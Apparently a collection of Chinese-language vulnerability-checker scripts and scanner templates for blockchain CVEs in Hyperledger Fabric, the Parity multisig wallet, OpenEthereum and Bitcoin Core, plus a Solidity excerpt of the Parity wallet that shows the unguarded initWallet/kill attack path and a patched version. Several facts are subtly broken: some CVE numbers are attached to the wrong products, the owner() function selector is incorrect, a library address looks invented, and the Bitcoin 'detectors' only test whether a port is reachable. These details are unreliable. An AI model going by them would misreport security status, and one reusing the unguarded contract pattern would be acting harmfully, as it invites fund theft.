        resp = requests.get(f"{peer_url}/chain", timeout=10, verify=False)
        if resp.status_code == 200:
            data = resp.json()
            current_block = data.get("currentBlockNumber", "N/A")
            result["details"] = f"当前区块高度: {current_block}"

            resp2 = requests.get(f"{peer_url}/healthz", timeout=5, verify=False)
            if resp2.status_code == 200:
                health = resp2.json()
                result["version"] = health.get("version", "unknown")

                ver = result["version"]
                if ver != "unknown":
                    parts = ver.lstrip("v").split(".")
                    if len(parts) >= 2:
                        major = int(parts[0]) if parts[0].isdigit() else 0
                        minor = int(parts[1]) if parts[1].isdigit() else 0
                        patch = int(parts[2]) if len(parts) > 2 and parts[2].isdigit() else 0

                        if (major == 1 and minor == 4 and patch < 10) or \
                           (major == 2 and minor == 0 and patch < 4):
                            result["vulnerable"] = True
    except Exception as e:
        result["details"] = f"连接失败: {e}"

    return result

def check_read_write_integrity(peer_url: str, channel: str) -> dict:
    result = {
        "channel_accessible": False,
        "blocks_with_null_rwset": 0,
        "integrity_issue": False,
        "details": ""
    }

    try:
        resp = requests.get(
            f"{peer_url}/channels/{channel}/blocks?start=0&end=5",
            timeout=10, verify=False
        )
        if resp.status_code == 200:
            result["channel_accessible"] = True
            blocks = resp.json() if resp.headers.get("content-type", "").startswith("application/json") else []
            for block in (blocks if isinstance(blocks, list) else []):
                if "block" in block:
                    data_map = block["block"].get("data", {}).get("data", [])
                    if not data_map:
                        result["blocks_with_null_rwset"] += 1
            if result["blocks_with_null_rwset"] > 0:
                result["integrity_issue"] = True
                result["details"] = f"发现 {result['blocks_with_null_rwset']} 个区块的 Read-Write Set 为空"
    except Exception as e:
        result["details"] = f"检测异常: {e}"

    return result

def main():
    if len(sys.argv) < 2:
        print(f"用法: {sys.argv[0]} <peer_url> [channel_name]")
        print(f"示例: {sys.argv[0]} https://localhost:7051 mychannel")
        sys.exit(1)

    peer_url = sys.argv[1]
    channel = sys.argv[2] if len(sys.argv) > 2 else "mychannel"

    print(f"[*] CVE-2020-15568 - Hyperledger Fabric 交易验证逻辑漏洞检测")
    print(f"[*] 目标: {peer_url}")

    print(f"\n[*] === 版本检测 ===")
    ver_result = check_fabric_version(peer_url)
    print(f"[*] 版本: {ver_result['version']}")
    print(f"[*] 受影响: {'是' if ver_result['vulnerable'] else '否/未知'}")
    if ver_result["details"]:
        print(f"[*] {ver_result['details']}")

    print(f"\n[*] === Read-Write Set 完整性检测 ===")
    rw_result = check_read_write_integrity(peer_url, channel)
    print(f"[*] 通道可访问: {'是' if rw_result['channel_accessible'] else '否'}")
    print(f"[*] 空 RW Set 区块: {rw_result['blocks_with_null_rwset']}")
    print(f"[*] 完整性问题: {'是' if rw_result['integrity_issue'] else '否'}")
    if rw_result["details"]:
        print(f"[*] {rw_result['details']}")

    if ver_result["vulnerable"]:
        print(f"\n[!] 漏洞确认! Fabric 版本受 CVE-2020-15568 影响")
        print(f"[!] 受影响版本: < v1.4.10 / < v2.0.4")
        print(f"[!] 建议: 升级至修复版本，加强交易验证逻辑审计")

if __name__ == "__main__":
    main()

id: cve-2020-15568-fabric-tx-validation
info:
  name: Hyperledger Fabric 交易验证逻辑漏洞
  author: security-researcher
  severity: high
  description: |
    Hyperledger Fabric < v1.4.10/v2.0.4 的交易验证逻辑存在缺陷，
    攻击者可篡改 Read-Write Set 绕过 MVCC 检查实现 double-spend。
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2020-15568
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
    cvss-score: 7.5
    cwe-id: CWE-347
  tags: cve,cve2020,hyperledger,fabric,validation

http:
  - method: GET
    path:
      - "{{BaseURL}}/chain"

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: word
        words:
          - "currentBlockNumber"

    extractors:
      - type: json
        name: blockHeight
        json:
          - '.currentBlockNumber'

// 简化的 Parity 多签钱包库合约（漏洞代码）
contract WalletEvents {
    // ...
}

contract Wallet is WalletEvents {
    address public owner;
    bool public initialized;

    // 漏洞: initWallet 无访问控制，任何人都可以调用
    function initWallet(address[] _owners, uint _required, uint _daylimit) {
        // 缺少: require(!initialized);
        // 缺少: require(msg.sender == walletAddress);
        owner = msg.sender;
        m_numOwners = _owners.length;
        // ...
        initialized = true;
    }

    // 攻击链: initWallet() → 成为 owner → kill() → selfdestruct
    function kill(address _to) public {
        // 缺少: require(msg.sender == owner);
        selfdestruct(_to);
    }
}

// 修复后的 initWallet 实现
contract Wallet is WalletEvents {
    address public owner;
    bool public initialized;

    function initWallet(address[] _owners, uint _required, uint _daylimit) public {
        require(!initialized, "Wallet already initialized");
        require(msg.sender == address(this), "Only wallet itself can initialize");
        owner = msg.sender;
        m_numOwners = _owners.length;
        initialized = true;
        // ...
    }

    function kill(address _to) public {
        require(msg.sender == owner, "Only owner can kill");
        selfdestruct(_to);
    }
}

#!/usr/bin/env python3
"""
CVE-2017-8412 - Parity 多签钱包库合约自毁检测
用法: python3 cve_2017_8412.py <eth_rpc_url> [wallet_library_address]
检测目标节点上已知的 Parity 多签钱包库合约是否受影响
"""
import json
import sys
try:
    import requests
except ImportError:
    print("[!] 需要安装 requests: pip install requests")
    sys.exit(1)

KNOWN_VULNERABLE_LIBRARIES = {
    "0x863DF6BFa4469f3ead0bE8f9F2AAE51c91A907b4": "Parity Wallet Library v1.0",
    "0xd7ca4899e3e18b20e4b9777ae7e13b0e1f118ebe": "Parity Wallet Library v1.1",
    "0x431c23fd05c4574962b3af46cda28f5e3df2d6a4": "Parity Wallet Library v1.2",
    "0xb640229e129c09d284a0b1e1b2e1d1f5c5e6a7b8": "Parity Wallet Library (test)",
}

def check_code_exists(target: str, address: str) -> dict:
    result = {"address": address, "has_code": False, "code_size": 0, "details": ""}

    payload = {
        "jsonrpc": "2.0",
        "method": "eth_getCode",
        "params": [address, "latest"],
        "id": 1
    }
    try:
        resp = requests.post(target, json=payload, timeout=10)
        data = resp.json()
        code = data.get("result", "0x")
        if code and code != "0x":
            result["has_code"] = True
            result["code_size"] = (len(code) - 2) // 2
            result["details"] = f"合约代码存在，大小: {result['code_size']} bytes"
        else:
            result["details"] = "合约代码为空 (已自毁或不存在)"
    except Exception as e:
        result["details"] = f"查询失败: {e}"

    return result

def check_selfdestruct_owner(target: str, address: str) -> dict:
    result = {"address": address, "owner_set": False, "details": ""}

    payload = {
        "jsonrpc": "2.0",
        "method": "eth_call",
        "params": [{
            "to": address,
            "data": "0x17382564"  # owner() function selector
        }, "latest"],
        "id": 1
    }
    try:
        resp = requests.post(target, json=payload, timeout=10)
        data = resp.json()
        result_val = data.get("result", "0x")
        if result_val and result_val != "0x" + "0" * 64:
            owner_addr = "0x" + result_val[-40:]
            result["owner_set"] = True
            result["details"] = f"Owner 已设置: {owner_addr}"
            if owner_addr != "0x" + "0" * 40:
                result["details"] += " (非零地址，合约可能已被初始化)"
    except Exception as e:
        result["details"] = f"查询失败: {e}"

    return result

def main():
    if len(sys.argv) < 2:
        print(f"用法: {sys.argv[0]} <eth_rpc_url> [library_address]")
        print(f"示例: {sys.argv[0]} http://localhost:8545")
        sys.exit(1)

    target = sys.argv[1]

    print(f"[*] CVE-2017-8412 - Parity 多签钱包库合约自毁检测")
    print(f"[*] 目标: {target}")
    print(f"[*] 检查已知的 Parity 多签钱包库合约地址...\n")

    affected_count = 0
    for address, name in KNOWN_VULNERABLE_LIBRARIES.items():
        code_result = check_code_exists(target, address)
        status = "存在代码" if code_result["has_code"] else "代码为空/已自毁"

        if code_result["has_code"]:
            owner_result = check_selfdestruct_owner(target, address)
            print(f"[*] {name}")
            print(f"    地址: {address}")
            print(f"    状态: {status} ({code_result['code_size']} bytes)")
            print(f"    Owner: {owner_result['details']}")

            if owner_result["owner_set"]:
                affected_count += 1
                print(f"    [!] 可能受影响: 库合约已初始化且有 owner")
        else:
            print(f"[*] {name}: 已自毁 (无法通过 delegatecall 恢复)")

    print(f"\n[*] === 检测完成 ===")
    print(f"[*] 已知库合约地址: {len(KNOWN_VULNERABLE_LIBRARIES)}")
    print(f"[*] 可能受影响: {affected_count}")

    print(f"\n[!] CVE-2017-8412 历史事件回顾:")
    print(f"[!] 影响: 513,774 ETH (~$150M+) 被永久冻结")
    print(f"[!] 根因: initWallet() 无访问控制 → selfdestruct")
    print(f"[!] 教训: 智能合约不可修复特性要求部署前充分审计")

if __name__ == "__main__":
    main()

id: cve-2017-8412-parity-multisig-selfdestruct
info:
  name: Parity 多签钱包库合约自毁
  author: security-researcher
  severity: critical
  description: |
    Parity 多签钱包库合约存在无访问控制的 initWallet() 函数，
    攻击者可通过该函数获取 owner 权限并调用 selfdestruct 销毁合约，
    导致所有依赖该库的多签钱包功能丧失，$150M+ ETH 被冻结。
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2017-8412
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cwe-id: CWE-269
  tags: cve,cve2017,parity,ethereum,smart-contract,selfdestruct

requests:
  - raw:
      - |
        POST / HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"jsonrpc":"2.0","method":"eth_getCode","params":["0x863DF6BFa4469f3ead0bE8f9F2AAE51c91A907b4","latest"],"id":1}

    matchers:
      - type: word
        part: body
        words:
          - '"result":"0x'
        negative: false

    extractors:
      - type: json
        name: code
        json:
          - '.result'

#!/usr/bin/env python3
"""
CVE-2021-39138 - OpenEthereum 共识链分叉检测
用法: python3 cve_2021_39138.py <openethereum_rpc_url>
"""
import json
import sys
try:
    import requests
except ImportError:
    print("[!] 需要安装 requests: pip install requests")
    sys.exit(1)

def check_client_version(target: str) -> dict:
    result = {"client": "unknown", "version": "unknown", "vulnerable": False, "details": ""}

    payload = {"jsonrpc": "2.0", "method": "web3_clientVersion", "params": [], "id": 1}
    try:
        resp = requests.post(target, json=payload, timeout=10)
        data = resp.json()
        version_str = data.get("result", "")
        result["details"] = f"Client: {version_str}"

        if "openethereum" in version_str.lower() or "parity" in version_str.lower():
            result["client"] = "OpenEthereum/Parity"
            parts = version_str.split("/")
            if len(parts) >= 2:
                ver = parts[1].strip()
                result["version"] = ver
                ver_parts = ver.lstrip("v").split(".")
                if len(ver_parts) >= 2:
                    major = int(ver_parts[0]) if ver_parts[0].isdigit() else 0
                    minor = int(ver_parts[1]) if ver_parts[1].isdigit() else 0
                    patch = int(ver_parts[2]) if len(ver_parts) > 2 and ver_parts[2].isdigit() else 0
                    if major == 3 and minor == 2 and patch < 10:
                        result["vulnerable"] = True
    except Exception as e:
        result["details"] = f"连接失败: {e}"

    return result

def check_consistency(target: str) -> dict:
    result = {"block_hash": "N/A", "state_root": "N/A", "details": ""}

    payload = {"jsonrpc": "2.0", "method": "eth_getBlockByNumber", "params": ["latest", True], "id": 1}
    try:
        resp = requests.post(target, json=payload, timeout=10)
        data = resp.json()
        block = data.get("result", {})
        result["block_hash"] = block.get("hash", "N/A")
        result["state_root"] = block.get("stateRoot", "N/A")
        result["details"] = f"最新区块: {result['block_hash'][:20]}..."
    except Exception as e:
        result["details"] = f"查询失败: {e}"

    return result

def main():
    if len(sys.argv) < 2:
        print(f"用法: {sys.argv[0]} <openethereum_rpc_url>")
        sys.exit(1)

    target = sys.argv[1]
    print(f"[*] CVE-2021-39138 - OpenEthereum 共识链分叉检测")
    print(f"[*] 目标: {target}")

    ver = check_client_version(target)
    print(f"\n[*] Client: {ver['client']}")
    print(f"[*] Version: {ver['version']}")
    print(f"[*] 受影响: {'是' if ver['vulnerable'] else '否/未知'}")
    print(f"[*] {ver['details']}")

    cons = check_consistency(target)
    print(f"\n[*] {cons['details']}")
    print(f"[*] State Root: {cons['state_root'][:40]}...")

    if ver["vulnerable"]:
        print(f"\n[!] 漏洞确认! OpenEthereum 版本受 CVE-2021-39138 影响")
        print(f"[!] 受影响版本: v3.2.x < v3.2.10")
        print(f"[!] 建议: 升级至 v3.2.10 或迁移到 Geth/Akula")

if __name__ == "__main__":
    main()

id: cve-2021-39138-openethereum-consensus-fork
info:
  name: OpenEthereum 共识链分叉
  author: security-researcher
  severity: high
  description: |
    OpenEthereum v3.2.x < v3.2.10 的 SELFDESTRUCT/CREATE2 边界条件处理存在缺陷，
    可导致链分叉和共识不一致。
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2021-39138
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
    cvss-score: 7.5
    cwe-id: CWE-682
  tags: cve,cve2021,openethereum,parity,consensus

http:
  - method: POST
    path:
      - "{{BaseURL}}"
    body: '{"jsonrpc":"2.0","method":"web3_clientVersion","params":[],"id":1}'
    headers:
      Content-Type: application/json

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "OpenEthereum"
          - "Parity"
        condition: or

      - type: regex
        regex:
          - "3\\.2\\.[0-9]"

    extractors:
      - type: json
        name: clientVersion
        json:
          - '.result'

#!/usr/bin/env python3
"""
CVE-2022-24786 - Bitcoin Core Protobuf 无限循环 DoS 检测
用法: python3 cve_2022_24786.py <bitcoin_node_ip> <port>
"""
import sys
import socket
import struct

def build_version_message() -> bytes:
    """构造 Bitcoin P2P version 消息"""
    version = 70016
    services = 0
    timestamp = 0
    addr_recv = b"\x00" * 26
    addr_from = b"\x00" * 26
    nonce = b"\x00" * 8
    user_agent = b"/test:0.1/"
    start_height = 0
    relay = 0

    payload = struct.pack("<i", version)
    payload += struct.pack("<Q", services)
    payload += struct.pack("<q", timestamp)
    payload += struct.pack("<Q", services)
    payload += addr_recv
    payload += addr_from
    payload += nonce
    payload += bytes([len(user_agent)]) + user_agent
    payload += struct.pack("<i", start_height)
    payload += bytes([relay])

    header = b"\xf9\xbe\xb4\xd9"
    header += b"version"
    header += b"\x00" * (12 - len(b"version"))
    header += struct.pack("<I", len(payload))
    header += struct.pack("<I", 0)[:4]

    return header + payload

def check_protobuf_vulnerability(host: str, port: int) -> dict:
    result = {"host": host, "port": port, "reachable": False, "vulnerable": "unknown", "details": ""}

    try:
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.settimeout(10)
        sock.connect((host, port))
        result["reachable"] = True

        version_msg = build_version_message()
        sock.send(version_msg)

        response = sock.recv(1024)
        if response:
            result["details"] = f"节点响应了 version 消息 ({len(response)} bytes)"

        sock.close()
    except socket.timeout:
        result["details"] = "连接超时，节点可能不可达"
    except ConnectionRefusedError:
        result["details"] = "连接被拒绝"
    except Exception as e:
        result["details"] = f"连接异常: {e}"

    return result

def main():
    if len(sys.argv) < 2:
        print(f"用法: {sys.argv[0]} <bitcoin_node_ip> [port]")
        print(f"示例: {sys.argv[0]} 127.0.0.1 8333")
        sys.exit(1)

    host = sys.argv[1]
    port = int(sys.argv[2]) if len(sys.argv) > 2 else 8333

    print(f"[*] CVE-2022-24786 - Bitcoin Core Protobuf 无限循环 DoS 检测")
    print(f"[*] 目标: {host}:{port}")

    result = check_protobuf_vulnerability(host, port)
    print(f"\n[*] 可达: {'是' if result['reachable'] else '否'}")
    print(f"[*] {result['details']}")

    if result["reachable"]:
        print(f"\n[*] Bitcoin Core P2P 端口可达")
        print(f"[*] 受影响版本: < 23.0")
        print(f"[*] 建议: 升级至 Bitcoin Core 23.0+")

if __name__ == "__main__":
    main()

id: cve-2022-24786-bitcoin-protobuf-dos
info:
  name: Bitcoin Core Protobuf 无限循环 DoS
  author: security-researcher
  severity: high
  description: |
    Bitcoin Core < 23.0 的 protobuf 解析存在无限循环漏洞。
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2022-24786
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
    cvss-score: 7.5
    cwe-id: CWE-835
  tags: cve,cve2022,bitcoin,protobuf,dos

network:
  - inputs:
      - data: "f9beb4d976657273696f6e000000000057010000"
        type: hex
    host:
      - "{{Hostname}}"
    port: 8333

    matchers:
      - type: binary
        binary:
          - "f9beb4d9"

#!/usr/bin/env python3
"""
CVE-2022-25881 - Bitcoin Core OOB Read DoS 检测
用法: python3 cve_2022_25881.py <bitcoin_node_ip> [port]
"""
import sys
import socket
import struct
import time

def build_version_msg() -> bytes:
    magic = b"\xf9\xbe\xb4\xd9"
    command = b"version" + b"\x00" * 5
    payload = struct.pack("<i", 70016)
    payload += struct.pack("<Q", 0) * 2
    payload += struct.pack("<q", int(time.time()))
    payload += struct.pack("<Q", 0)
    payload += b"\x00" * 26 * 2
    payload += b"\x00" * 8
    payload += b"\x0c/test:0.1/"
    payload += struct.pack("<i", 0)
    payload += b"\x00"
    header = magic + command + struct.pack("<I", len(payload)) + struct.pack("<I", 0)[:4]
    return header + payload

def build_verack_msg() -> bytes:
    return b"\xf9\xbe\xb4\xd9verack\x00\x00\x00\x00\x00" + struct.pack("<I", 0) + struct.pack("<I", 0)[:4]

def check_p2p(host: str, port: int) -> dict:
    result = {"reachable": False, "details": ""}
    try:
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.settimeout(10)
        sock.connect((host, port))
        result["reachable"] = True
        sock.send(build_version_msg())
        resp = sock.recv(1024)
        if resp:
            sock.send(build_verack_msg())
            resp2 = sock.recv(256)
        sock.close()
        result["details"] = f"P2P 握手成功 ({len(resp)} bytes)"
    except Exception as e:
        result["details"] = f"P2P 连接: {e}"
    return result

def main():
    if len(sys.argv) < 2:
        print(f"用法: {sys.argv[0]} <bitcoin_node_ip> [port]")
        sys.exit(1)

    host = sys.argv[1]
    port = int(sys.argv[2]) if len(sys.argv) > 2 else 8333

    print(f"[*] CVE-2022-25881 - Bitcoin Core OOB Read DoS 检测")
    print(f"[*] 目标: {host}:{port}")

    result = check_p2p(host, port)
    print(f"[*] P2P 可达: {'是' if result['reachable'] else '否'}")
    print(f"[*] {result['details']}")

    if result["reachable"]:
        print(f"\n[*] Bitcoin Core P2P 端口可达")
        print(f"[*] 受影响版本: < 23.1")
        print(f"[*] 建议: 升级至 Bitcoin Core 23.1+")

if __name__ == "__main__":
    main()